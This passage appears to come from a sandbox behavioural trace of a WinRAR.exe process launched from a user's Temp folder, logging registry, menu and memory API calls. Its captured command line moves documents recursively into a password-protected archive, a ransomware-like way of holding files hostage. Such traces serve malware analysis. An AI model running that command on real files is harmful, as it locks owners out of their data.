out: lpBuffer="site name") returned 0x9 [0052.311] LoadStringW (in: hInstance=0x13f160000, uID=0x43a, lpBuffer=0x13f2dfa30, cchBufferMax=512 | out: lpBuffer="site name 2") returned 0xb [0052.311] GetLastError () returned 0x5b0 [0052.311] SetLastError (dwErrCode=0x5b0) [0052.311] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\WinRAR\\Policy", ulOptions=0x0, samDesired=0x1, phkResult=0x1ea210 | out: phkResult=0x1ea210*=0x0) returned 0x2 [0052.311] GetLastError () returned 0x5b0 [0052.311] SetLastError (dwErrCode=0x5b0) [0052.311] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Policy", ulOptions=0x0, samDesired=0x9, phkResult=0x1ea9e0 | out: phkResult=0x1ea9e0*=0x0) returned 0x2 [0052.311] SetMenu (hWnd=0x201d2, hMenu=0x101ff) returned 1 [0052.311] NtdllDefWindowProc_W (hWnd=0x201d2, Msg=0x46, wParam=0x0, lParam=0x1eae50) returned 0x0 [0052.311] NtdllDefWindowProc_W (hWnd=0x201d2, Msg=0x83, wParam=0x1, lParam=0x1eae20) returned 0x0 [0052.311] NtdllDefWindowProc_W (hWnd=0x201d2, Msg=0x93, wParam=0x0, lParam=0x1e9520) returned 0x1 [0052.312] NtdllDefWindowProc_W (hWnd=0x201d2, Msg=0x94, wParam=0x0, lParam=0x1e94c0) returned 0x0 [0052.320] NtdllDefWindowProc_W (hWnd=0x201d2, Msg=0x94, wParam=0x0, lParam=0x1e94c0) returned 0x0 [0052.320] NtdllDefWindowProc_W (hWnd=0x201d2, Msg=0x94, wParam=0x0, lParam=0x1e94c0) returned 0x0 [0052.320] NtdllDefWindowProc_W (hWnd=0x201d2, Msg=0x94, wParam=0x0, lParam=0x1e94c0) returned 0x0 [0052.320] NtdllDefWindowProc_W (hWnd=0x201d2, Msg=0x94, wParam=0x0, lParam=0x1e94c0) returned 0x0 [0052.320] NtdllDefWindowProc_W (hWnd=0x201d2, Msg=0x94, wParam=0x0, lParam=0x1e94c0) returned 0x0 [0052.321] NtdllDefWindowProc_W (hWnd=0x201d2, Msg=0x47, wParam=0x0, lParam=0x1eae50) returned 0x0 [0052.321] NtdllDefWindowProc_W (hWnd=0x201d2, Msg=0x3, wParam=0x0, lParam=0x96006c) returned 0x0 [0052.321] IsIconic (hWnd=0x201d2) returned 0 [0052.321] IsIconic (hWnd=0x201d2) returned 0 [0052.321] IsIconic (hWnd=0x201d2) returned 0 [0052.321] NtdllDefWindowProc_W (hWnd=0x201d2, Msg=0x93, wParam=0x0, lParam=0x1ea670) returned 0x1 [0052.321] NtdllDefWindowProc_W (hWnd=0x201d2, Msg=0x7f, wParam=0x2, lParam=0x0) returned 0x0 [0052.321] NtdllDefWindowProc_W (hWnd=0x201d2, Msg=0x7f, wParam=0x0, lParam=0x0) returned 0x0 [0052.321] NtdllDefWindowProc_W (hWnd=0x201d2, Msg=0x7f, wParam=0x1, lParam=0x0) returned 0x0 [0052.322] NtdllDefWindowProc_W (hWnd=0x201d2, Msg=0x83, wParam=0x1, lParam=0x1ea7b0) returned 0x0 [0052.322] NtdllDefWindowProc_W (hWnd=0x201d2, Msg=0x93, wParam=0x0, lParam=0x1e8eb0) returned 0x1 [0052.322] DrawMenuBar (hWnd=0x201d2) returned 1 [0052.322] NtdllDefWindowProc_W (hWnd=0x201d2, Msg=0x46, wParam=0x0, lParam=0x1eae50) returned 0x0 [0052.322] NtdllDefWindowProc_W (hWnd=0x201d2, Msg=0x83, wParam=0x1, lParam=0x1eae20) returned 0x0 [0052.322] NtdllDefWindowProc_W (hWnd=0x201d2, Msg=0x93, wParam=0x0, lParam=0x1e9520) returned 0x1 [0052.323] NtdllDefWindowProc_W (hWnd=0x201d2, Msg=0x47, wParam=0x0, lParam=0x1eae50) returned 0x0 [0052.323] NtdllDefWindowProc_W (hWnd=0x201d2, Msg=0x93, wParam=0x0, lParam=0x1ea670) returned 0x1 [0052.323] GetLastError () returned 0x0 [0052.323] SetLastError (dwErrCode=0x0) [0052.323] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\WinRAR\\Policy", ulOptions=0x0, samDesired=0x1, phkResult=0x1ea210 | out: phkResult=0x1ea210*=0x0) returned 0x2 [0052.323] GetLastError () returned 0x0 [0052.323] SetLastError (dwErrCode=0x0) [0052.323] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Policy", ulOptions=0x0, samDesired=0x9, phkResult=0x1ea9e0 | out: phkResult=0x1ea9e0*=0x0) returned 0x2 [0052.323] GetLastError () returned 0x0 [0052.323] SetLastError (dwErrCode=0x0) [0052.323] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\WinRAR\\Policy", ulOptions=0x0, samDesired=0x1, phkResult=0x1ea210 | out: phkResult=0x1ea210*=0x0) returned 0x2 [0052.323] GetLastError () returned 0x0 [0052.323] SetLastError (dwErrCode=0x0) [0052.323] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Policy", ulOptions=0x0, samDesired=0x9, phkResult=0x1ea9e0 | out: phkResult=0x1ea9e0*=0x0) returned 0x2 [0052.323] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x8) returned 0x319920 [0052.324] RegisterDragDrop (hwnd=0x201d2, pDropTarget=0x319920) returned 0x0 [0052.324] GetLocalTime (in: lpSystemTime=0x13f2a9cd0 | out: lpSystemTime=0x13f2a9cd0*(wYear=0x7e3, wMonth=0x4, wDayOfWeek=0x2, wDay=0x2, wHour=0x10, wMinute=0x4, wSecond=0x10, wMilliseconds=0x1d0)) [0052.324] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Paths", ulOptions=0x0, samDesired=0x1, phkResult=0x1e5d20 | out: phkResult=0x1e5d20*=0x0) returned 0x2 [0052.324] SHGetMalloc (in: ppMalloc=0x1e5cc0 | out: ppMalloc=0x1e5cc0*=0x7fefe535380) returned 0x0 [0052.324] SHGetSpecialFolderLocation (in: hwnd=0x0, csidl=26, ppidl=0x1e5d08 | out: ppidl=0x1e5d08) returned 0x0 [0052.324] SHGetPathFromIDListW (in: pidl=0x313130, pszPath=0x1e7e10 | out: pszPath="C:\\Users\\WhuOXYsD\\AppData\\Roaming") returned 1 [0052.324] GetFileAttributesW (lpFileName="C:\\Users\\WhuOXYsD\\AppData\\Roaming\\WinRAR" (normalized: "c:\\users\\whuoxysd\\appdata\\roaming\\winrar")) returned 0x2010 [0052.324] IMalloc:Free (This=0x7fefe535380, pv=0x313130) [0052.324] FindFirstFileW (in: lpFileName="C:\\Users\\WhuOXYsD\\AppData\\Roaming\\WinRAR\\rarreg.*", lpFindFileData=0x1e4ac0 | out: lpFindFileData=0x1e4ac0) returned 0xffffffffffffffff [0052.324] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\WhuOXYsD\\AppData\\Roaming\\WinRAR\\rarreg.*", lpFindFileData=0x1e4ac0 | out: lpFindFileData=0x1e4ac0) returned 0xffffffffffffffff [0052.325] GetLastError () returned 0x2 [0052.325] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x1e7e10, nSize=0x800 | out: lpFilename="C:\\Users\\WhuOXYsD\\AppData\\Local\\Temp\\WinRAR.exe" (normalized: "c:\\users\\whuoxysd\\appdata\\local\\temp\\winrar.exe")) returned 0x2f [0052.325] FindFirstFileW (in: lpFileName="C:\\Users\\WhuOXYsD\\AppData\\Local\\Temp\\rarreg.*", lpFindFileData=0x1e4ac0 | out: lpFindFileData=0x1e4ac0) returned 0xffffffffffffffff [0052.325] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\WhuOXYsD\\AppData\\Local\\Temp\\rarreg.*", lpFindFileData=0x1e4ac0 | out: lpFindFileData=0x1e4ac0) returned 0xffffffffffffffff [0052.325] GetLastError () returned 0x2 [0052.325] GetLastError () returned 0x2 [0052.325] SetLastError (dwErrCode=0x2) [0052.325] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\WinRAR", ulOptions=0x0, samDesired=0x9, phkResult=0x1e9170 | out: phkResult=0x1e9170*=0x0) returned 0x2 [0052.325] GetLastError () returned 0x2 [0052.325] SetLastError (dwErrCode=0x2) [0052.325] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR", ulOptions=0x0, samDesired=0x9, phkResult=0x1e9130 | out: phkResult=0x1e9130*=0x184) returned 0x0 [0052.325] RegQueryValueExW (in: hKey=0x184, lpValueName="rarkey", lpReserved=0x0, lpType=0x1e9594, lpData=0x1e9e70, lpcbData=0x1e9590*=0x1000 | out: lpType=0x1e9594*=0x0, lpData=0x1e9e70*=0x0, lpcbData=0x1e9590*=0x1000) returned 0x2 [0052.325] RegCloseKey (hKey=0x184) returned 0x0 [0052.325] GetCurrentProcess () returned 0xffffffffffffffff [0052.325] GetCurrentThread () returned 0xfffffffffffffffe [0052.325] GetPriorityClass (hProcess=0xffffffffffffffff) returned 0x20 [0052.326] GetThreadPriority (hThread=0xfffffffffffffffe) returned 0 [0052.326] GetLastError () returned 0x2 [0052.326] SetLastError (dwErrCode=0x2) [0052.326] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\General", ulOptions=0x0, samDesired=0x9, phkResult=0x1ec670 | out: phkResult=0x1ec670*=0x184) returned 0x0 [0052.326] RegQueryValueExW (in: hKey=0x184, lpValueName="Priority", lpReserved=0x0, lpType=0x1ecad4, lpData=0x1ecad0, lpcbData=0x1ecb08*=0x4 | out: lpType=0x1ecad4*=0x0, lpData=0x1ecad0*=0x1, lpcbData=0x1ecb08*=0x4) returned 0x2 [0052.326] RegCloseKey (hKey=0x184) returned 0x0 [0052.326] SetPriorityClass (hProcess=0xffffffffffffffff, dwPriorityClass=0x20) returned 1 [0052.326] SetThreadPriority (hThread=0xfffffffffffffffe, nPriority=0) returned 1 [0052.326] GetLastError () returned 0x2 [0052.326] SetLastError (dwErrCode=0x2) [0052.326] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR", ulOptions=0x0, samDesired=0x9, phkResult=0x1e9dc0 | out: phkResult=0x1e9dc0*=0x184) returned 0x0 [0052.326] RegQueryValueExW (in: hKey=0x184, lpValueName="rarreg.key", lpReserved=0x0, lpType=0x1ea224, lpData=0x1ebb00, lpcbData=0x1ea220*=0x1000 | out: lpType=0x1ea224*=0x0, lpData=0x1ebb00*=0x0, lpcbData=0x1ea220*=0x1000) returned 0x2 [0052.326] RegCloseKey (hKey=0x184) returned 0x0 [0052.326] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Paths", ulOptions=0x0, samDesired=0x1, phkResult=0x1e7550 | out: phkResult=0x1e7550*=0x0) returned 0x2 [0052.326] SHGetMalloc (in: ppMalloc=0x1e74f0 | out: ppMalloc=0x1e74f0*=0x7fefe535380) returned 0x0 [0052.326] SHGetSpecialFolderLocation (in: hwnd=0x0, csidl=26, ppidl=0x1e7538 | out: ppidl=0x1e7538) returned 0x0 [0052.326] SHGetPathFromIDListW (in: pidl=0x313130, pszPath=0x1e7700 | out: pszPath="C:\\Users\\WhuOXYsD\\AppData\\Roaming") returned 1 [0052.326] GetFileAttributesW (lpFileName="C:\\Users\\WhuOXYsD\\AppData\\Roaming\\WinRAR" (normalized: "c:\\users\\whuoxysd\\appdata\\roaming\\winrar")) returned 0x2010 [0052.326] IMalloc:Free (This=0x7fefe535380, pv=0x313130) [0052.326] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Paths", ulOptions=0x0, samDesired=0x1, phkResult=0x1e74e0 | out: phkResult=0x1e74e0*=0x0) returned 0x2 [0052.326] SHGetMalloc (in: ppMalloc=0x1e7480 | out: ppMalloc=0x1e7480*=0x7fefe535380) returned 0x0 [0052.326] SHGetSpecialFolderLocation (in: hwnd=0x0, csidl=26, ppidl=0x1e74c8 | out: ppidl=0x1e74c8) returned 0x0 [0052.326] SHGetPathFromIDListW (in: pidl=0x313130, pszPath=0x1e7700 | out: pszPath="C:\\Users\\WhuOXYsD\\AppData\\Roaming") returned 1 [0052.326] GetFileAttributesW (lpFileName="C:\\Users\\WhuOXYsD\\AppData\\Roaming\\WinRAR" (normalized: "c:\\users\\whuoxysd\\appdata\\roaming\\winrar")) returned 0x2010 [0052.326] IMalloc:Free (This=0x7fefe535380, pv=0x313130) [0052.326] GetFileAttributesW (lpFileName="C:\\Users\\WhuOXYsD\\AppData\\Roaming\\WinRAR\\Settings.reg" (normalized: "c:\\users\\whuoxysd\\appdata\\roaming\\winrar\\settings.reg")) returned 0xffffffff [0052.327] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\WhuOXYsD\\AppData\\Roaming\\WinRAR\\Settings.reg" (normalized: "c:\\users\\whuoxysd\\appdata\\roaming\\winrar\\settings.reg")) returned 0xffffffff [0052.327] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x1e7700, nSize=0x800 | out: lpFilename="C:\\Users\\WhuOXYsD\\AppData\\Local\\Temp\\WinRAR.exe" (normalized: "c:\\users\\whuoxysd\\appdata\\local\\temp\\winrar.exe")) returned 0x2f [0052.327] GetFileAttributesW (lpFileName="C:\\Users\\WhuOXYsD\\AppData\\Local\\Temp\\Settings.reg" (normalized: "c:\\users\\whuoxysd\\appdata\\local\\temp\\settings.reg")) returned 0xffffffff [0052.327] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\WhuOXYsD\\AppData\\Local\\Temp\\Settings.reg" (normalized: "c:\\users\\whuoxysd\\appdata\\local\\temp\\settings.reg")) returned 0xffffffff [0052.327] GetFileAttributesW (lpFileName="C:\\Users\\WhuOXYsD\\AppData\\Local\\Temp\\Settings.reg" (normalized: "c:\\users\\whuoxysd\\appdata\\local\\temp\\settings.reg")) returned 0xffffffff [0052.327] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\WhuOXYsD\\AppData\\Local\\Temp\\Settings.reg" (normalized: "c:\\users\\whuoxysd\\appdata\\local\\temp\\settings.reg")) returned 0xffffffff [0052.327] GetCommandLineW () returned="C:\\Users\\WhuOXYsD\\AppData\\Local\\Temp\\\\WinRAR.exe m -r -pMyPassword Documents *" [0052.327] GetCommandLineW () returned="C:\\Users\\WhuOXYsD\\AppData\\Local\\Temp\\\\WinRAR.exe m -r -pMyPassword Documents *" [0052.327] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x64) returned 0x305e70 [0052.327] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x305e70 | out: hHeap=0x2e0000) returned 1 [0052.327] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0xa) returned 0x306830 [0052.327] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x306830 | out: hHeap=0x2e0000) returned 1 [0052.327] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0xa) returned 0x306830 [0052.327] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="r", cchCount1=-1, lpString2="cfg-", cchCount2=-1) returned 3 [0052.327] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="r", cchCount1=2, lpString2="sc", cchCount2=2) returned 1 [0052.327] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x306830 | out: hHeap=0x2e0000) returned 1 [0052.327] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x1e) returned 0x32e0e0 [0052.327] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="pMyPassword", cchCount1=-1, lpString2="cfg-", cchCount2=-1) returned 3 [0052.327] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="pMyPassword", cchCount1=2, lpString2="sc", cchCount2=2) returned 1 [0052.327] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x32e0e0 | out: hHeap=0x2e0000) returned 1 [0052.327] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x18) returned 0x306830 [0052.327] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x306830 | out: hHeap=0x2e0000) returned 1 [0052.327] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x8) returned 0x319930 [0052.327] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x319930 | out: hHeap=0x2e0000) returned 1 [0052.327] GetLastError () returned 0x2 [0052.327] SetLastError (dwErrCode=0x2) [0052.327] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Extraction", ulOptions=0x0, samDesired=0x9, phkResult=0x1ec670 | out: phkResult=0x1ec670*=0x0) returned 0x2 [0052.327] GetMenu (hWnd=0x201d2) returned 0x101ff [0052.328] GetSubMenu (hMenu=0x101ff, nPos=4) returned 0x1012b [0052.328] GetSubMenu (hMenu=0x1012b, nPos=6) returned 0x10135 [0052.328] DeleteMenu (hMenu=0x10135, uPosition=0x0, uFlags=0x400) returned 1 [0052.328] LoadStringW (in: hInstance=0x13f160000, uID=0x67c, lpBuffer=0x13f2dfe30, cchBufferMax=512 | out: lpBuffer="&Save current") returned 0xd [0052.328] InsertMenuW (hMenu=0x10135, uPosition=0x0, uFlags=0x400, uIDNewItem=0xad, lpNewItem="&Save current") returned 1 [0052.328] LoadStringW (in: hInstance=0x13f160000, uID=0x67d, lpBuffer=0x13f2e0230, cchBufferMax=512 | out: lpBuffer="&Help") returned 0x5 [0052.328] InsertMenuW (hMenu=0x10135, uPosition=0x1, uFlags=0x400, uIDNewItem=0xae, lpNewItem="&Help") returned 1 [0052.328] InsertMenuW (hMenu=0x10135, uPosition=0x2, uFlags=0xc00, uIDNewItem=0x0, lpNewItem=0x0) returned 1 [0052.328] LoadStringW (in: hInstance=0x13f160000, uID=0x67e, lpBuffer=0x13f2e0630, cchBufferMax=512 | out: lpBuffer="&Default") returned 0x8 [0052.328] InsertMenuW (hMenu=0x10135, uPosition=0x3, uFlags=0x400, uIDNewItem=0xaf, lpNewItem="&Default") returned 1 [0052.328] GetCPInfoExW (in: CodePage=0xfde9, dwFlags=0x0, lpCPInfoEx=0x1ec800 | out: lpCPInfoEx=0x1ec800) returned 1 [0052.328] InsertMenuItemW (hmenu=0x10135, item=0x3e8, fByPosition=1, lpmi=0x1ec7b0) returned 1 [0052.328] GetACP () returned 0x4e4 [0052.328] GetOEMCP () returned 0x1b5 [0052.328] GetCPInfoExW (in: CodePage=0x4e4, dwFlags=0x0, lpCPInfoEx=0x1ec800 | out: lpCPInfoEx=0x1ec800) returned 1 [0052.328] InsertMenuItemW (hmenu=0x10135, item=0x3e8, fByPosition=1, lpmi=0x1ec7b0) returned 1 [0052.328] GetCPInfoExW (in: CodePage=0x1b5, dwFlags=0x0, lpCPInfoEx=0x1ec800 | out: lpCPInfoEx=0x1ec800) returned 1 [0052.329] InsertMenuItemW (hmenu=0x10135, item=0x3e8, fByPosition=1, lpmi=0x1ec7b0) returned 1 [0052.329] InsertMenuW (hMenu=0x10135, uPosition=0x3e8, uFlags=0xc00, uIDNewItem=0x0, lpNewItem=0x0) returned 1 [0052.329] GetCPInfoExW (in: CodePage=0x362, dwFlags=0x0, lpCPInfoEx=0x1ec800 | out: lpCPInfoEx=0x1ec800) returned 1 [0052.658] InsertMenuItemW (hmenu=0x10135, item=0x3e8, fByPosition=1, lpmi=0x1ec7b0) returned 1 [0052.658] GetCPInfoExW (in: CodePage=0x36a, dwFlags=0x0, lpCPInfoEx=0x1ec800 | out: lpCPInfoEx=0x1ec800) returned 1 [0052.660] InsertMenuItemW (hmenu=0x10135, item=0x3e8, fByPosition=1, lpmi=0x1ec7b0) returned 1 [0052.660] GetCPInfoExW (in: CodePage=0x3a4, dwFlags=0x0, lpCPInfoEx=0x1ec800 | out: lpCPInfoEx=0x1ec800) returned 1 [0052.661] InsertMenuItemW (hmenu=0x10135, item=0x3e8, fByPosition=1, lpmi=0x1ec7b0) returned 1 [0052.661] GetCPInfoExW (in: CodePage=0x3a8, dwFlags=0x0, lpCPInfoEx=0x1ec800 | out: lpCPInfoEx=0x1ec800) returned 1 [0052.662] InsertMenuItemW (hmenu=0x10135, item=0x3e8, fByPosition=1, lpmi=0x1ec7b0) returned 1 [0052.662] GetCPInfoExW (in: CodePage=0x3b5, dwFlags=0x0, lpCPInfoEx=0x1ec800 | out: lpCPInfoEx=0x1ec800) returned 1 [0052.664] InsertMenuItemW (hmenu=0x10135, item=0x3e8, fByPosition=1, lpmi=0x1ec7b0) returned 1 [0052.665] GetCPInfoExW (in: CodePage=0x3b6, dwFlags=0x0, lpCPInfoEx=0x1ec800 | out: lpCPInfoEx=0x1ec800) returned 1 [0052.666] InsertMenuItemW (hmenu=0x10135, item=0x3e8, fByPosition=1, lpmi=0x1ec7b0) returned 1 [0052.667] GetCPInfoExW (in: CodePage=0x4e2, dwFlags=0x0, lpCPInfoEx=0x1ec800 | out: lpCPInfoEx=0x1ec800) returned 1 [0052.667] InsertMenuItemW (hmenu=0x10135, item=0x3e8, fByPosition=1, lpmi=0x1ec7b0) returned 1 [0052.668] GetCPInfoExW (in: CodePage=0x4e3, dwFlags=0x0, lpCPInfoEx=0x1ec800 | out: lpCPInfoEx=0x1ec800) returned 1 [0052.669] InsertMenuItemW (hmenu=0x10135, item=0x3e8, fByPosition=1, lpmi=0x1ec7b0) returned 1 [0052.672] GetCPInfoExW (in: CodePage=0x4e5, dwFlags=0x0, lpCPInfoEx=0x1ec800 | out: lpCPInfoEx=0x1ec800) returned 1 [0052.673] InsertMenuItemW (hmenu=0x10135, item=0x3e8, fByPosition=1, lpmi=0x1ec7b0) returned 1 [0053.086] GetCPInfoExW (in: CodePage=0x4e6, dwFlags=0x0, lpCPInfoEx=0x1ec800 | out: lpCPInfoEx=0x1ec800) returned 1 [0053.086] InsertMenuItemW (hmenu=0x10135, item=0x3e8, fByPosition=1, lpmi=0x1ec7b0) returned 1 [0053.086] GetCPInfoExW (in: CodePage=0x4e7, dwFlags=0x0, lpCPInfoEx=0x1ec800 | out: lpCPInfoEx=0x1ec800) returned 1 [0053.087] InsertMenuItemW (hmenu=0x10135, item=0x3e8, fByPosition=1, lpmi=0x1ec7b0) returned 1 [0053.087] GetCPInfoExW (in: CodePage=0x4e8, dwFlags=0x0, lpCPInfoEx=0x1ec800 | out: lpCPInfoEx=0x1ec800) returned 1 [0053.087] InsertMenuItemW (hmenu=0x10135, item=0x3e8, fByPosition=1, lpmi=0x1ec7b0) returned 1 [0053.087] GetCPInfoExW (in: CodePage=0x4e9, dwFlags=0x0, lpCPInfoEx=0x1ec800 | out: lpCPInfoEx=0x1ec800) returned 1 [0053.087] InsertMenuItemW (hmenu=0x10135, item=0x3e8, fByPosition=1, lpmi=0x1ec7b0) returned 1 [0053.087] GetCPInfoExW (in: CodePage=0x4ea, dwFlags=0x0, lpCPInfoEx=0x1ec800 | out: lpCPInfoEx=0x1ec800) returned 1 [0053.087] InsertMenuItemW (hmenu=0x10135, item=0x3e8, fByPosition=1, lpmi=0x1ec7b0) returned 1 [0053.088] SetMenuItemInfoW (hmenu=0x10135, item=0xaf, fByPositon=0, lpmii=0x1eca00) returned 1 [0053.088] GetMenuItemInfoW (in: hmenu=0x10135, item=0x640, fByPosition=0, lpmii=0x1eca00 | out: lpmii=0x1eca00) returned 1 [0053.088] SetMenuItemInfoW (hmenu=0x10135, item=0x640, fByPositon=0, lpmii=0x1eca00) returned 1 [0053.088] GetMenuItemInfoW (in: hmenu=0x10135, item=0x641, fByPosition=0, lpmii=0x1eca00 | out: lpmii=0x1eca00) returned 1 [0053.088] SetMenuItemInfoW (hmenu=0x10135, item=0x641, fByPositon=0, lpmii=0x1eca00) returned 1 [0053.088] GetMenuItemInfoW (in: hmenu=0x10135, item=0x642, fByPosition=0, lpmii=0x1eca00 | out: lpmii=0x1eca00) returned 1 [0053.088] SetMenuItemInfoW (hmenu=0x10135, item=0x642, fByPositon=0, lpmii=0x1eca00) returned 1 [0053.088] GetMenuItemInfoW (in: hmenu=0x10135, item=0x643, fByPosition=0, lpmii=0x1eca00 | out: lpmii=0x1eca00) returned 1 [0053.088] SetMenuItemInfoW (hmenu=0x10135, item=0x643, fByPositon=0, lpmii=0x1eca00) returned 1 [0053.088] GetMenuItemInfoW (in: hmenu=0x10135, item=0x644, fByPosition=0, lpmii=0x1eca00 | out: lpmii=0x1eca00) returned 1 [0053.088] SetMenuItemInfoW (hmenu=0x10135, item=0x644, fByPositon=0, lpmii=0x1eca00) returned 1 [0053.088] GetMenuItemInfoW (in: hmenu=0x10135, item=0x645, fByPosition=0, lpmii=0x1eca00 | out: lpmii=0x1eca00) returned 1 [0053.088] SetMenuItemInfoW (hmenu=0x10135, item=0x645, fByPositon=0, lpmii=0x1eca00) returned 1 [0053.088] GetMenuItemInfoW (in: hmenu=0x10135, item=0x646, fByPosition=0, lpmii=0x1eca00 | out: lpmii=0x1eca00) returned 1 [0053.088] SetMenuItemInfoW (hmenu=0x10135, item=0x646, fByPositon=0, lpmii=0x1eca00) returned 1 [0053.088] GetMenuItemInfoW (in: hmenu=0x10135, item=0x647, fByPosition=0, lpmii=0x1eca00 | out: lpmii=0x1eca00) returned 1 [0053.088] SetMenuItemInfoW (hmenu=0x10135, item=0x647, fByPositon=0, lpmii=0x1eca00) returned 1 [0053.088] GetMenuItemInfoW (in: hmenu=0x10135, item=0x648, fByPosition=0, lpmii=0x1eca00 | out: lpmii=0x1eca00) returned 1 [0053.088] SetMenuItemInfoW (hmenu=0x10135, item=0x648, fByPositon=0, lpmii=0x1eca00) returned 1 [0053.088] GetMenuItemInfoW (in: hmenu=0x10135, item=0x649, fByPosition=0, lpmii=0x1eca00 | out: lpmii=0x1eca00) returned 1 [0053.088] SetMenuItemInfoW (hmenu=0x10135, item=0x649, fByPositon=0, lpmii=0x1eca00) returned 1 [0053.088] GetMenuItemInfoW (in: hmenu=0x10135, item=0x64a, fByPosition=0, lpmii=0x1eca00 | out: lpmii=0x1eca00) returned 1 [0053.088] SetMenuItemInfoW (hmenu=0x10135, item=0x64a, fByPositon=0, lpmii=0x1eca00) returned 1 [0053.088] GetMenuItemInfoW (in: hmenu=0x10135, item=0x64b, fByPosition=0, lpmii=0x1eca00 | out: lpmii=0x1eca00) returned 1 [0053.088] SetMenuItemInfoW (hmenu=0x10135, item=0x64b, fByPositon=0, lpmii=0x1eca00) returned 1 [0053.088] GetMenuItemInfoW (in: hmenu=0x10135, item=0x64c, fByPosition=0, lpmii=0x1eca00 | out: lpmii=0x1eca00) returned 1 [0053.088] SetMenuItemInfoW (hmenu=0x10135, item=0x64c, fByPositon=0, lpmii=0x1eca00) returned 1 [0053.088] GetMenuItemInfoW (in: hmenu=0x10135, item=0x64d, fByPosition=0, lpmii=0x1eca00 | out: lpmii=0x1eca00) returned 1 [0053.088] SetMenuItemInfoW (hmenu=0x10135, item=0x64d, fByPositon=0, lpmii=0x1eca00) returned 1 [0053.088] GetMenuItemInfoW (in: hmenu=0x10135, item=0x64e, fByPosition=0, lpmii=0x1eca00 | out: lpmii=0x1eca00) returned 1 [0053.088] SetMenuItemInfoW (hmenu=0x10135, item=0x64e, fByPositon=0, lpmii=0x1eca00) returned 1 [0053.088] GetMenuItemInfoW (in: hmenu=0x10135, item=0x64f, fByPosition=0, lpmii=0x1eca00 | out: lpmii=0x1eca00) returned 1 [0053.089] SetMenuItemInfoW (hmenu=0x10135, item=0x64f, fByPositon=0, lpmii=0x1eca00) returned 1 [0053.089] GetMenuItemInfoW (in: hmenu=0x10135, item=0x650, fByPosition=0, lpmii=0x1eca00 | out: lpmii=0x1eca00) returned 1 [0053.089] SetMenuItemInfoW (hmenu=0x10135, item=0x650, fByPositon=0, lpmii=0x1eca00) returned 1 [0053.089] GetMenuItemInfoW (in: hmenu=0x10135, item=0x651, fByPosition=0, lpmii=0x1eca00 | out: lpmii=0x1eca00) returned 0 [0053.089] GetCurrentProcess () returned 0xffffffffffffffff [0053.089] GetProcessAffinityMask (in: hProcess=0xffffffffffffffff, lpProcessAffinityMask=0x1ec950, lpSystemAffinityMask=0x1ec958 | out: lpProcessAffinityMask=0x1ec950, lpSystemAffinityMask=0x1ec958) returned 1 [0053.089] GetCurrentProcess () returned 0xffffffffffffffff [0053.089] GetProcessAffinityMask (in: hProcess=0xffffffffffffffff, lpProcessAffinityMask=0x1ec9b0, lpSystemAffinityMask=0x1ec9b8 | out: lpProcessAffinityMask=0x1ec9b0, lpSystemAffinityMask=0x1ec9b8) returned 1 [0053.089] GetLastError () returned 0x5b0 [0053.089] SetLastError (dwErrCode=0x5b0) [0053.089] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\General", ulOptions=0x0, samDesired=0x9, phkResult=0x1ec560 | out: phkResult=0x1ec560*=0x168) returned 0x0 [0053.089] RegQueryValueExW (in: hKey=0x168, lpValueName="SMP", lpReserved=0x0, lpType=0x1ec9c4, lpData=0x1ec9c0, lpcbData=0x1ec9f8*=0x4 | out: lpType=0x1ec9c4*=0x0, lpData=0x1ec9c0*=0x1, lpcbData=0x1ec9f8*=0x4) returned 0x2 [0053.089] RegCloseKey (hKey=0x168) returned 0x0 [0053.089] GetLastError () returned 0x5b0 [0053.089] SetLastError (dwErrCode=0x5b0) [0053.089] GetLastError () returned 0x5b0 [0053.089] SetLastError (dwErrCode=0x5b0) [0053.089] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x1, phkResult=0x1eb980 | out: 